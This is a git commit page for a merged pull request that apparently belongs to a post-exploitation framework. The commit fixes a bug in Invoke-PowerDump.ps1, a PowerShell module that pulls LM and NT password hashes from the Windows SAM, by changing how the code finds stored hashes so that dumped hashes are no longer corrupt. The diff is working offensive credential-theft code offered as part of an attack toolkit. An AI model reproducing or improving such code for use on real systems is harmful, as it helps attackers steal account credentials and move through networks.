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Merge pull request #698 from addenial/dev 

Invoke-PowerDump bug - corrupt hash fix
websockets-multiuser
Chris Ross 2017-10-18 02:09:54 -04:00 committed by GitHub
parent db8bed2364 60d835d1e0
commit 1467debe61
1 changed files with 19 additions and 3 deletions
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22
data/module_source/credentials/Invoke-PowerDump.ps1
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@ -411,14 +411,30 @@ namespace PowerDump
function Get-UserHashes($u, [byte[]]$hbootkey)
{
[byte[]]$enc_lm_hash = $null; [byte[]]$enc_nt_hash = $null;
if ($u.HashOffset + 0x28 -lt $u.V.Length)
# check if hashes exist (if byte memory equals to 20, then we've got a hash)
$LM_exists = $false;
$NT_exists = $false;
# LM header check
if ($u.V[0xa0..0xa3] -eq 20)
{
$LM_exists = $true;
}
# NT header check
elseif ($u.V[0xac..0xaf] -eq 20)
{
$NT_exists = $true;
}
if ($LM_exists -eq $true)
{
$lm_hash_offset = $u.HashOffset + 4;
$nt_hash_offset = $u.HashOffset + 8 + 0x10;
$enc_lm_hash = $u.V[$($lm_hash_offset)..$($lm_hash_offset+0x0f)];
$enc_nt_hash = $u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
}
elseif ($u.HashOffset + 0x14 -lt $u.V.Length)
elseif ($NT_exists -eq $true)
{
$nt_hash_offset = $u.HashOffset + 8;
$enc_nt_hash = [byte[]]$u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
@ -494,4 +510,4 @@ namespace PowerDump
{
Write-Error "Administrator or System privileges necessary."
}
}
}